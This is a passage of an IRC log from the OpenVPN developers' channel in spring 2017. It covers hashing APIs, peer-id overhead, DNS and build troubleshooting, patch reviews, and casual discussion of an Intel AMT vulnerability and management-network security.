<@dazo> glory! 10:52 <@ordex> :D 10:52 <@ordex> I hope it tastes good! I am hungry 10:52 <@ordex> :D 10:52 <@dazo> lol 10:56 <@dazo> ecrist: so to summarize: mbedtls_sha256_init( &ctx ); mbedtls_sha256_starts( &ctx, k ); then a for-loop of mbedtls_sha256_update( &ctx, buf, buflen ); where buflen is the amount of data in buf ... and then mbedtls_sha256_finish( &ctx, sha256sum ); which puts the hash into sha256sum 10:59 <@ecrist> and if the last loop isn't a full 64 bytes, he just lists it's actual length, right? 10:59 <@dazo> for the declaration of sha256sum, I'd probably recommend to use: unsigned char sha256sum[MBEDTLS_MD_MAX_SIZE]; ... which should give you enough space for all types of hashes 10:59 <@ecrist> no padding? 10:59 <@dazo> correct! 12:30 <@syzzer> from the API perspective ordex is right, but SHA does have 'blocks' internally 12:30 <@syzzer> SHA2 has 512-bit blocks 12:31 <@syzzer> so a multiple of that would be ideal to feed to the _update() calls 13:36 <@ecrist> thanks guys, he figured it out. 13:36 <@ecrist> he was skipping the last loop because it wasn't a full 64 byte block 14:36 <@cron2> re 14:37 * cron2 spots an ACK! 14:42 <@cron2> oh, and CVE IDs 14:42 <@vpnHelper> RSS Update - gitrepo: Fix broken ./configure on systems without openssl.pc <https://github.com/OpenVPN/openvpn/commit/79ea67f77ca3afe91222f62e17df885a30409285> 19:58 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 20:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:03 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 21:45 <@ordex> aloha --- Day changed Wed Apr 26 2017 02:03 < Hamy> My question is a bit advanced for #openvpn. I hope you don't mind me asking it here. 02:03 < Hamy> I am using OpenVPN 2.4.0 . Even when I'm not specifying the "--float" option in server side, the server still pushes "peer-id" to the clients adding 3 bytes of overhead to each packet. Is this a normal behavior? 02:35 <@cron2> yes 02:37 < Hamy> cron2, thanks, but why would it be needed even when --float is not specified? (ps: i am able to effectively disable this behavior by using 'pull-filter ignore "peer-id"' in the client conf) 02:38 <@cron2> --float has no effect on multipoint-servers, and never had 02:38 <@cron2> ... and we have way too much conditional code, so we consciously decided "this feature is always-on" - it's good for performance as well, as the extra 3 bytes make the rest of the packet properly 32bit-aligned = better crypto performance 02:40 < Hamy> oh, ic. thank you for the response. so i get a better performance even tho it adds 3 bytes of overhead 02:40 <@cron2> yes 02:40 <@cron2> (effectively: less CPU load, longer battery life) 02:41 < Hamy> i appreciate your response. figuring this one out would have not been easy for me :) 07:55 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 07:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:29 <@dazo> syzzer: you around? 09:31 <@dazo> pondering on if we should do something about --verify-hash ... 09:32 * dazo stumbled upon this just now 09:39 <@syzzer> dazo: what is the question? 09:40 <@dazo> currently --verify-hash is depending on SHA1 ... what about to add a 'sha256' flag to that function? 09:41 <@dazo> the underlying function being used is x509_get_sha1_fingerprint() ... both OpenSSL and mbed TLS already have the SHA256 equivalent ready 09:41 <@syzzer> dazo: yeah, makes sense 09:42 <@dazo> okay, I'll submit a patch :) 09:42 <@syzzer> or maybe consider to add a better certificate pinning option... 09:42 <@syzzer> that allows to e.g. pin the server cert 09:44 <@dazo> well, yeah ... but if you pin the CA with a stronger hash ... it will be quite hard to go around that 09:44 <@dazo> btw ... I was looking at your clean-up-merge-packet_id_alloc patch yesterday ... it almost applied fine, had a conflict in crypto.c 09:45 * dazo just remembered when looking into his git tree :) 09:47 <@syzzer> dazo: didn't I send a rebased version to security@ ? 09:48 <@dazo> that was the one I picked up, I believe 09:49 <@dazo> in the 5.2 mail, right? 09:49 <@syzzer> yeah 09:49 <@syzzer> I expected that to apply cleanly 09:50 <@syzzer> ah, that one was based on release/2.4 09:51 <@syzzer> that explains 09:51 <@dazo> ah! yeah, that makes sense 09:51 <@syzzer> anyway, have to leave 09:51 <@dazo> sure, no worries! 10:58 <@vpnHelper> RSS Update - tickets: #877: Clients bound to a specific IP don't use a random outgoing port <https://community.openvpn.net/openvpn/ticket/877> 12:29 <@dazo> d12fk: I believe there's a bug in the sophos firewall product of yours ..... PUSH: Received control message: 'PUSH_REPLY,route-gateway 10.242.2.1,ping 15,ping-restart 60,topology subnet,[...],ifconfig 10.242.2.201 10.242.2.1 12:30 <@dazo> notice _subnet_ with a p2p ifconfig 12:36 <@dazo> it actually results in this: /sbin/ip addr add dev tun10 10.242.2.201/-1 broadcast 255.255.255.255 16:01 <@cron2> bah, building openssl 1.0.2k on my "old openssl" buildslaves turns out to be quite a bit of annoyance 16:34 <@cron2> 4 out of 5 done... 16:37 <@dazo> :) 16:38 * dazo wonders why struct packet_id_send and struct packet_id_net is declared identically 16:41 <@dazo> and struct packet_id_persist_file_image is also almost identical (the two fields have just swapped place) ... but that can be some kind of alignment optimization 17:01 <@dazo> syzzer: I believe 0001-cleanup-merge-packet_id_alloc_outgoing-into-packet_i.patch is based on a quite unknown branch to me ... can't make it fit well in neither master, release/2.4 nor v2.4.1 18:14 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 18:17 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 18:17 -!- mode/#openvpn-devel [+o dazo] by ChanServ 19:56 < slypknot> dazo: this is optimistic .. at best: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14527.html 19:56 <@vpnHelper> Title: Re: [Openvpn-devel] For Windows: DHCP Client dependency (at www.mail-archive.com) 19:58 < slypknot> in the last five years I have seen about 10-ish new active contibutors to openvpn 19:59 < slypknot> on the main-stream 20:02 < slypknot> overall .. the docs are very good .. it is also good to have the natural strategic layers thet openvpn has 20:04 < slypknot> mattock: i would be curious to know the general number of downloads 2.4 counts ??? 20:05 < slypknot> in the millions .. or less ? 20:10 < slypknot> and wtf happened to maikcat ? 20:17 < slypknot> Finally: If the log is going to post an URL .. Then maybe make that URL direct / perma-link 20:18 < slypknot> perhaps .. if i were a dog and you had some snacks ;) 20:18 < slypknot> juping through hoops .. 20:20 < slypknot> optimistic at best .. 21:05 < slypknot> 32bit masks are still the main-stream .. and they still do not understand it 21:06 < slypknot> in educational facilties the world over 21:08 < slypknot> i know .. i have tried teaching it 21:14 < slypknot> maybe i was just a poor teacher .. 21:16 < slypknot> My final 2c .. if they can read ,, they can RTFM 21:34 <@ordex> lol 21:34 <@ordex> always! 21:40 < slypknot> ordex: hi 21:41 <@ordex> hi slypknot :) 21:42 < slypknot> :) 21:45 < slypknot> there is such a classic: "My bridge don't work .. so i blame the TAP adapter" 21:45 < slypknot> ring any bells ? 21:46 < slypknot> or .. "I don'tr know shit about roting .. can you teach me ?" 21:47 < slypknot> NO ! 21:47 < slypknot> there has to be a line in the sand .. 21:50 < slypknot> -- 21:50 < slypknot> Improving the docs is a good thing 21:51 < slypknot> but there has to be a limit .. 21:53 < slypknot> openvpn = the networking 'swiss army knife' .. 21:53 < slypknot> great 21:55 < slypknot> like Excel = "chartered accountancy" 21:57 < slypknot> -- 22:00 < slypknot> and who TF wants to perfect the wijik 22:01 < slypknot> wiki 22:04 < slypknot> -- 22:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:06 < slypknot> Typically: Hello, I have never used linux before but can you please teach me everything i need to make openvpn work .. and suck my balls 22:08 < slypknot> but that is the level of 75% of requests 22:08 < slypknot> so i say .. let the documentation stand .. as it is 22:09 < slypknot> the alternative is pure insanity 22:10 < slypknot> dazo: ^^ 22:12 <@ordex> slypknot: you can also just ignore people :P 22:12 <@ordex> they are always free to ask what they want..so just ignore when it's too much hehe 22:12 < slypknot> yes 22:12 < slypknot> i agree 22:13 <@ordex> you'll preserve your health too hehe 22:14 < slypknot> i am old ! 22:14 < slypknot> alreadfy 22:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:15 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:15 < slypknot> openvpn could almost write its own RFC 22:17 < slypknot> ^^^^^ ding ding ^^^^^ 22:20 < slypknot> ordex: Brave new world .. 22:20 <@ordex> :) 22:21 < slypknot> have you read it ? 22:22 <@ordex> about the RFC? 22:23 < slypknot> no .. "brace new world" by Aldus Huxley 22:24 < slypknot> its not that good .. but people like it (i did) 22:25 < slypknot> it is kinda funny from a modern perspective 22:25 <@ordex> ah, you wrote braVe 22:25 <@ordex> ok 22:26 <@ordex> is it a 1984-like book? 22:26 <@ordex> :P 22:26 < slypknot> i would call it a soft version of 1984 22:27 < slypknot> but that is totally personal 22:28 < slypknot> books are books .. they were mostly written to make money 22:32 < slypknot> Aldous Huxley is on youtube if you need 22:37 <@ordex> oh alright --- Day changed Thu Apr 27 2017 06:47 < lisak> guys is it possible to install a specific version by apt? sudo apt-get install openvpn=2.3.9 06:48 <@mattock> Iisak: I believe that can be done _if_ the apt repository in question has multiple versions available 06:48 <@mattock> not all of them do 06:51 < lisak> ah, you're right, I added repo with 2.3.12+ 06:53 <@dazo> lisak: but ... I just have to ask ... any reason to go so far back as to 2.3.9? 06:54 < lisak> I probably have outdated config file for 2.4.1 and I'm getting 06:54 < lisak> Thu Apr 27 13:30:41 2017 Unrecognized option or missing or extra parameter(s) in [PUSH-OPTIONS]:17: register-dns (2.4.1) 06:54 < lisak> cannot figure out what exactly should I change in the config file 06:55 <@dazo> quick fix: --pull-filter ignore register-dns 06:55 <@dazo> or ... --ignore-unknown-option register-dns 06:56 <@dazo> or ... the server can use: --push "setenv opt register-dns" 06:56 < lisak> I see, so it's too old server version, not config file 06:57 < lisak> as I started having connection problems, kind of dns related 06:57 <@dazo> well, not necessarily too old server version .... but the server config does it the wrong way - insisting on all clients supporting --register-dns 06:58 <@dazo> the v2.4 release have improved the option parser, so it is stricter to what it allows ... hence you had a silently ignored error - which is quite bad 07:00 <@cron2> register-dns is a windows-only option, so a linux client will complain that it doesn't know the option - but will then ignore it anyway 07:01 <@cron2> (at least if it's pushed - if it's *in* the config, it will always fail on linux, no matter which version, unless prefixed with "setenv opt") 07:02 <@cron2> slypknot: before adding noise tickets, please bother to actually *read* what the reporters write. #877 is specifically about a client using --bind, but expecting a random source port - so "use --nobind" is not a helpful answer 07:02 <@cron2> --lport 0 is exactly what is needed 07:32 < slypknot> ok 07:38 <@ordex> RTFM is what was needed :P 07:39 <@cron2> ordex: that was my first reply ("this is not a bug, it works as documented - if you want that changed, it's a feature request") :-) 07:39 <@ordex> yeah :) 07:42 < slypknot> well .. i just learnt what --lport 0 is actually used for :) 08:04 < lisak> hm, there must be some kind of regression at 2.3.9 -> 2.3.10+ ... after upgrading to 2.3.10+ I can reach 216.58.201.78 but not google.com 08:05 < lisak> I tried adding dhcp-option DNS 8.8.8.8 08:05 < lisak> but that doesn't help ... dns resolution is somewhat broken ... it happen to a few of us on Linux at wokr 08:07 <@ordex> lisak: can you ping an IP ? 08:07 <@ordex> i.e. 8.8.8.8 ? 08:12 < lisak> yeah I can ping 8.8.8.8 08:13 < lisak> the server is OpenVPN Access Server Appliance 2.1.3 08:15 < lisak> I deleted the sensitive stuff, there is a lot of warnings https://pastebin.com/raw/KFsThWkw 08:17 <@ordex> lisak: for Access Server you should go to #openvpn-as 08:17 < lisak> do you think it is rather server than client problem ? 08:18 < lisak> the server is running for almost a year, the problems started after client upgrade 08:19 <@ordex> honestly, I don't know :P 08:19 < lisak> even the server can access 8.8.8.8 08:19 <@ordex> have you tried dumping the traffic to see where the dns request is getting dropped/lost ? 08:20 < lisak> I'm gonna have to study it a bit more :-) 08:20 <@ordex> :P 08:20 <@dazo> (this begins to be more like an #openvpn related discussion) .... but which OS is the client? 08:20 * ordex is studying Sauvignon Blanc now 08:20 <@ordex> :P 08:22 < slypknot> Pushing DNS to linux client also requires --up update-resolv-conf to apply the DNS setting .. 08:25 < lisak> Ubuntu 08:25 < lisak> server is on an EC2 instance 08:35 <@dazo> lisak: okay, and you start openvpn via networkmanager ... or through the command line? 08:36 < lisak> hm, interesting, I keep my dns records in /etc/resolvconf/resolv.conf.d/base for years ... but now I see that Ubuntu keeps /etc/resolv.conf without the records in base 08:36 < lisak> and openvpn seems to be reading /etc/resolv.conf 08:36 < lisak> if I add 8.8.8.8 directly to /etc/resolv.conf it works 08:36 < lisak> command line 08:37 <@dazo> ehm ... nope ... the dns resolver in glibc (system library) uses /etc/resolv.conf 08:37 < lisak> so the problem is why records from /etc/resolvconf/resolv.conf.d/base are not propagated to /etc/resolv.conf 08:37 <@dazo> which all applications uses indirectly .... unless ubuntu have replaced the resolver library in lots of apps 08:38 <@dazo> again ... is networkmanager in use on your system? 08:38 < lisak> it is not 08:39 <@dazo> so what services manages your network? that service is mostly responsible for updating /etc/resolv.conf ... often via some helpers (such as resolevupdater and similar stuff) 08:42 < lisak> yup, networking.service 08:43 <@dazo> well .... kind of .... that's the systemd defined service ... which kicks off something more 08:44 < lisak> hm, resolvconf -u creates /etc/resolv.conf without records from /etc/resolvconf/resolv.conf.d/base ... 08:45 < lisak> aha, if I add it to /etc/resolvconf/resolv.conf.d/head, it works 08:45 < lisak> interesting, that head contains message "do not edit this file" and base does not 08:46 < lisak> something has changed in the networking stack in this regard 08:48 < lisak> I'll be just keeping changes in "head" and I'm good ... it used to work for base, not anymore 08:49 <@dazo> well, this have drifted far away from a openvpn development topic .... so ... lets stop there 09:05 < lisak> ok, thank you for helping out 11:29 <@dazo> syzzer: did you see my comment regarding 0001-cleanup-merge-packet_id_alloc_outgoing-into-packet_i.patch yesterday? 11:49 <@dazo> ./src/openvpn/crypto.c:201: undefined reference to `packet_id_alloc_outgoing' 11:49 <@dazo> seems not all packet_id_alloc_outgoing() functions have been cleaned up properly 12:29 <@cron2> so, what about a meeting tomorrow? syzzer? 12:30 <@cron2> on a related aspect: all buildbots should be green now... I've tested one compile each, and all works \o/ 12:30 <@cron2> well 12:30 <@cron2> or not 12:30 <@cron2> grrr 12:30 <@cron2> ../src/openvpn/openvpn: can't load library 'libssl.so.1.0.0' 12:31 <@dazo> that's great! 12:32 <@cron2> (it linked just fine, but the rpath did not end up in the binary, or something) 12:32 <@dazo> well, one the final one is fixed, that is! :) 12:32 <@dazo> Meeting tomorrow can work for me 12:32 <@cron2> fixed :) - it compiled fine, just did not produce a working binary... 12:32 * dazo gotta run for another meeting now .... back later 13:43 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:43 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 13:44 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Write error: Broken pipe] 21:47 <@ordex> aloha --- Day changed Fri Apr 28 2017 01:13 <@ordex> syzzer: I have heard of somebody suggesting a full protocol encryption/obfuscation. for example, speaking of tls-crypt, instead of encrypting the tls payload only, this new mechanism would encrypt the entire thing. not sure, but this is probably what obfsproxy does? 04:17 <@vpnHelper> RSS Update - tickets: #878: Route: Waiting for TUN/TAP interface to come up... <https://community.openvpn.net/openvpn/ticket/878> 04:59 <@cron2_> plaisthos: wtf is "IV_BS64DL=1" 05:50 <@ordex> the name of some drug? 05:50 <@ordex> :P 07:16 <@vpnHelper> RSS Update - tickets: #879: Two issues when reconnecting with 2.4.1 <https://community.openvpn.net/openvpn/ticket/879> 07:18 < sbehrens> ^^^ If there are questions regarding this ticket, I'm here. 07:29 <@ordex> my question would be, if there are two issues, why opening only one ticket :P but that's just my taste :) 07:30 < sbehrens> It looks to me as if they have the same cause. 07:36 <@cron2_> it's all syzzer's ballpark anyway :) 07:37 <@cron2_> it might be same cause or not, but I have the same feeling that they might be related 07:46 <@dazo> cron2_: let me dig up some mails from james, I believe I've already asked him that question once 07:56 <@cron2_> thanks 07:57 <@dazo> ordex: in regards to obfuscation .... we have discussed on-and-off the possibility to have a --plugin hook which will allow openvpn to pass packets to be obfuscated/deobfuscated before sent on the wire ... this allows a far more flexible obfuscation possibility and we don't need to play the cat-and-mouse-game; the plug-in writer will do that instead ;-) 07:57 <@ordex> yap 07:57 <@ordex> I remember that 07:58 <@dazo> ordex: however .... it would be some advantages if actually the whole socket connect stuff could be placed in the plug-in as well ... that can allow openvpn over https, xmpp, dns or whatever crazy idea people find 07:58 <@ordex> yeah, but might performance issue 07:58 <@ordex> or maybe not mh 08:24 <@cron2_> dazo: interesting, thanks --- Day changed Sat Apr 29 2017 09:52 < slypknot> build-sys ./windows-nsis/build-snapshot does not work on Linux-Arch, something about lzo-2.10 .. here is the log failure: https://0paste.com/12735 09:52 < slypknot> the same thing works fine on debian8 09:54 < slypknot> both are cloned today from git clone https://github.com/OpenVPN/openvpn-build.git 09:54 <@vpnHelper> Title: GitHub - OpenVPN/openvpn-build: OpenVPN Build (at github.com) 15:28 < txvln> I am trying to determine if an up script (specifically route-up) should be able to successfully pass traffic through the vpn. 15:31 < txvln> Everything works as expected once openvpn is up, but trying to pass traffic across the tunnel with curl / wget / ping, from inside the the up script, times out every time. 15:31 < slypknot> txvln: all external scripts must complete before the tunnel will pass data 15:34 < txvln> slypknot: Ok. I'd started suspecting that might be the case but was hoping otherwise. Could you point me to that in the documentation? Also, any idea how you'd accomplish posting to a remote resource as soon as the tunnel comes up? 15:34 < txvln> ( freebsd jail ) 15:36 < txvln> It seems like triggering traffic as soon as a tunnel can pass it would be a pretty useful capability. Is there possibly another option that I'm missing? 16:26 <@dazo> slypknot: you got the corresponding mingw-lzo2 (including developer headers) installed? 17:14 < slypknot> dazo: thanks for the input i will look into that 17:48 < slypknot> This statement outright stumps me: https://community.openvpn.net/openvpn/wiki/SettingUpGenericBuildsystem#Genericinstructions 17:48 <@vpnHelper> Title: SettingUpGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 17:48 < slypknot> <q> With recent OpenVPN 2.3.x releases you need to use our patched version of mingw-w64 </q> 17:49 < slypknot> where is "our patched version of mingw-w64" ? 17:49 < slypknot> and is this still required with 2.4 ? 17:52 < slypknot> mattock: ^^ this looks like your dept 18:48 <@vpnHelper> RSS Update - tickets: #880: SENT CONTROL [server]: 'PUSH_REQUEST' (status=1) <https://community.openvpn.net/openvpn/ticket/880> 18:57 < slypknot> dazo: ubuntu 16.04 works straight off the bat .. that is enough 20:13 <@dazo> slypknot: I think the "patched version" was related to a bug in earlier versions which were not fixed in a recent enough mingw release when that was written 20:13 <@dazo> I just very vaguely remember some grunts about an annoying mingw bug/issue .... but since I normally don't pay too much attention to Windows builds, that's all I remember :) 23:56 <@ordex> plaisthos: is it known that ics does not properly setup the routing so that other widi clients connected via hotspot mode would go through the VPN ? 23:56 <@ordex> plaisthos: or maybe it's just my phone (i.e. running cyanogenmod) --- Day changed Sun Apr 30 2017 03:00 <@cron2_> ordex: the VPN API isn't doing this with routing but with "ip rule" things, and it's per-user - so you can have two users with two different VPNs active at the same time, and a third user that has no VPN 03:00 <@cron2_> not that this would make any sense in reality, but Google developers think that this is totally cool 03:00 <@cron2_> thus, no VPN for hotspot, because "not the same user" 03:09 <@ordex> cron2_: ah 03:09 <@ordex> cron2_: how about ics setting up an ip rule for the entire network behind the hotspot (if the user wants that) 03:09 <@ordex> this said, when the vpn is active, the clients behind the hotspot have broken connectivity - no connection at all 03:10 <@ordex> probably due to the lack of the original default route (?) that was substituted with the VPN's one (just speculating here) 03:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:28 <@cron2_> ordex: ics isn't setting these rules - it tells the VPN API "hey, I want VPN for these target networks!" and all the rest is done by the VPN API 03:29 <@ordex> oh alright 03:29 <@cron2_> no way to get "all users!" or "for forwarded packets as well!"... 03:29 <@ordex> mh i wonder why internet stops working entirely for clients then ... 03:29 <@ordex> might also be something different in CM 03:29 <@cron2_> IIRC in Android 4.x, it was done with routing, and in 5.x when they introduced multi-user, it was changed to ip rule based 03:29 <@cron2_> what does "ip route" and "ip rule" say? 03:38 <@ordex> on my phone? no clue - I don't have any terminal installed 03:38 <@ordex> i think i have android 6 03:38 <@ordex> iirc 05:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 06:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 13:21 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Write error: Broken pipe] 13:21 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:21 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 17:12 <@vpnHelper> RSS Update - tickets: #881: OpenVPN v2.4 breaks --status formatting of client IP:port on FreeBSD <https://community.openvpn.net/openvpn/ticket/881> 21:57 <@ordex> ah happy May 1st everybody :) --- Day changed Mon May 01 2017 00:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 04:11 <@vpnHelper> RSS Update - tickets: #882: DNS trouble after successful connection to remote server <https://community.openvpn.net/openvpn/ticket/882> 10:59 <@cron2_> Not Before: Mar 19 10:23:57 2015 GMT 10:59 <@cron2_> Not After : Mar 18 10:23:57 2017 GMT 10:59 * cron2_ hates this certificate stuff 11:00 <@cron2_> "now I have to drive to $customersite, because his OpenVPN client cert expired..." 11:17 <@cron2_> brr... there is more stuff that needs to be upgraded here... 11:17 <@cron2_> OpenVPN 2.1.1b armv5tel-unknown-linux-gnueabi [SSL] [LZO2] [EPOLL] [IPv6 payload 20100216-1] built on Feb 17 2010 11:22 <+krzee> haha thats a little bit old 12:38 <@cron2_> krzee: but it has v6! 12:39 <@cron2_> (this is sort of the first time I cross-compiled OpenVPN - the box it's running on is an OpenRD, one of the first useful ARM "computers"... 13:19 <+krzee> oh very cool 20:03 <@ordex> aloha 22:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:15 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue May 02 2017 00:40 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:40 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 01:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:43 <@cron2_> meeting tomorrow? 04:59 <@dazo> meeting tomorrow if after 20:30 would work for me 04:59 <@dazo> mattock: ^^^ 05:01 <@dazo> ouch! http://thehackernews.com/2017/05/intel-server-chipsets.html 05:01 <@vpnHelper> Title: PCs with Intel Server Chipsets, Launched in Past 9-Years, Can be Hacked Remotely (at thehackernews.com) 05:02 <@ordex> :S 05:05 <@dazo> seems to be related to the AMT stuff, not the CPU directly 05:38 <@cron2_> dazo: even worse... you have a backdoor in your system that neither bios nor CPU can see... 05:39 < slypknot> and the "fix" will not be applied automatically 07:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 07:55 <+krzee> dazo: didnt they release that back when snowden leaked? 07:56 <+krzee> i remember knowing that one years ago 08:09 <@ecrist> I'm currently fighting with a related AMT issue. 08:09 <@ecrist> The latest HP systems with Intel/AMT don't actually disable udp/623 when you disable AMT in BIOS 08:10 <@ecrist> Been working on a fix when this cropped up. 08:10 <+krzee> i told my office years ago that if anybody plugs in the management ports they have to be ready to fight me 08:10 <+krzee> lol 08:10 <@ecrist> AMT uses the same NIC, but essentially stands in front of the CPU/kernel 08:10 <+krzee> ^ oh god 08:11 <@cron2_> management ports are good... if put in a RFC1918 network which is only reachable by management systems 08:11 <@ecrist> cron2_: there's no such thing as "only" 08:11 <@cron2_> and indeed, AMT is the next level of "how stupid are hardware designers going to get"? 08:11 <+krzee> ecrist: same nic like the main nic not ipmi? 08:12 <@cron2_> krzee: well, if my network is compromised enough that people can access RFC1918 addresses in there freely, I'm game over already 08:12 <@cron2_> (ILOs and IPMIs do have strong passwords, though :) ) 08:12 <@ecrist> krzee: correct 08:13 <+krzee> i dont need a running backdoor that only requires dmz access to get full root 08:13 <+krzee> i prefer better security than that 08:13 <+krzee> cron, you trust your dmz? 08:13 <@cron2_> this is not a DMZ, this is a physically separated management network 08:13 <@ecrist> cron2_: I say this because so many things just punch a hole to a C&C server. Reverse tunnel and Bob's your uncle. 08:14 <@cron2_> ecrist: sure. But that's what 2FA and user account tracing is there for - users that have access there have had The Lecture 08:14 <+krzee> physically separated means something different to me... if all your internet listening servers are on it as i assume 08:15 <@ecrist> physically separated means no internet 08:15 <@ecrist> . 08:15 <@cron2_> the servers are not on it, their IPMIs are, and I do not know a way to access "the network connected to the IPMI" from the host 08:15 <@cron2_> (dedicated ports, not shared) 08:15 <+krzee> gotchya 08:16 <@ecrist> You're safer there, then, if you're not using shared ports. 08:16 <@ecrist> but AMT does use shared ports 08:16 <@cron2_> yes, AMT is much worse 08:16 <+krzee> and you said that didnt disable properly as well 08:16 <+krzee> ouch 08:17 <@ecrist> to paraphrase the great film The Water Boy, "AMT is the DEVIL!" 08:24 <@syzzer> meeting tomorrow works for me :) 08:24 <@syzzer> zbg 08:31 <+krzee> https://blog.cdw.com/security/ipmi-vulnerabilities-dont-panic-but-do-take-action IPMI article from 2013 08:31 <@vpnHelper> Title: IPMI Vulnerabilities: Dont Panic, but Do Take Action - Solutions Blog (at blog.cdw.com) 08:31 <+krzee> took me long enough to find! 09:23 <+krzee> is openssl 1.1.0 supported in latest ovpn/ 09:25 * cron2_ hands krzee Changes.rst 09:27 <+krzee> changes.rst doesnt contain the text '1.1.0' nor '1.0.' so i dont think it mentions any openssl versions 09:27 <+krzee> at least not this one: https://github.com/OpenVPN/openvpn/blob/release/2.4/Changes.rst 09:27 <@vpnHelper> Title: openvpn/Changes.rst at release/2.4 · OpenVPN/openvpn · GitHub (at github.com) 09:33 <@dazo> krzee: TL;DR version: No OpenSSL 1.1 support yet .... but there is WIP ... http://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14075.html 09:33 <@vpnHelper> Title: [Openvpn-devel] [RFC PATCH v1 00/15] Add support for OpenSSL 1.1.x (at www.mail-archive.com) 09:34 <+krzee> ahh nice thx 09:34 <+krzee> thanks, i was compiling 1.1 after finding work on it in https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn24 09:34 <@vpnHelper> Title: ChangesInOpenvpn24 – OpenVPN Community (at community.openvpn.net) 09:34 <+krzee> on a qemu with 256mb ram, you just saved me like 40min or so 09:35 <@dazo> lol 10:12 <+krzee> still compiling 1.0 :D 10:35 <@dazo> krzee: you could consider to add an SSD drive for swap ... unless you can increase the RAM on your VM ;-) 11:50 <+krzee> im not sure what the deal is, something to do with emulating this thing, but im ok with it 11:50 <+krzee> just slower compiles 11:51 < slypknot> Arch-Linux appears to have dropped openssl1.0.x completely ! 11:52 <+krzee> (this vm is literally ONLY for compiling things) 11:53 <+krzee> remember when i had to cross compile openvpn for insanely old voip phones and had nothing but issues... this was the solution 11:53 <+krzee> (get rid of the 'cross') 11:54 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:54 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:51 <@cron2_> ISTR that you can't compile mbedtls on an i386 machine with 256MB RAM anymore, the compiler gets too big... 13:10 <+krzee> compiles on arm with 256mb ram (did that kinda recently) 13:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 13:38 < slypknot> eworm has completed this for arch: OpenVPN 2.4.1 x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Mar 22 2017 13:38 < slypknot> library versions: OpenSSL 1.1.0e 16 Feb 2017, LZO 2.10 13:57 <@dazo> well, pulling patches from the ML without full review is not what I'd call "completed" ... But it is a good test for the patch-set 14:06 <@cron2_> indeed 14:07 <@cron2_> we definitely need a meeting to restart the merge process - we're still stuck in the discussion between dazo and syzzer regarding part 05, if I remember right, but lately you two did seem to agree... 14:22 < slypknot> FYI: Arch has moved to openssl-1.1 .. there is no going back (at least not for normal mortals like me) Openvpn 2.4.1-2 .. see here: https://www.archlinux.org/todo/openssl-110-rebuild/ .. if it is any help 14:22 <@vpnHelper> Title: Arch Linux - Todo: OpenSSL 1.1.0 Rebuild (at www.archlinux.org) 19:17 <@ordex> morning 22:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:15 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:56 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Wed May 03 2017 00:55 -!- cron2_ is now known as cron2 01:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 04:20 <@d12fk> dazo: i think ths is for a site-to-site connection, rigth? 04:21 <@dazo> d12fk: correct! 04:22 <@dazo> d12fk: we found a workaround on the client .... --pull-filter ignore ifconfig .... and then add the ifconfing line manually (it was 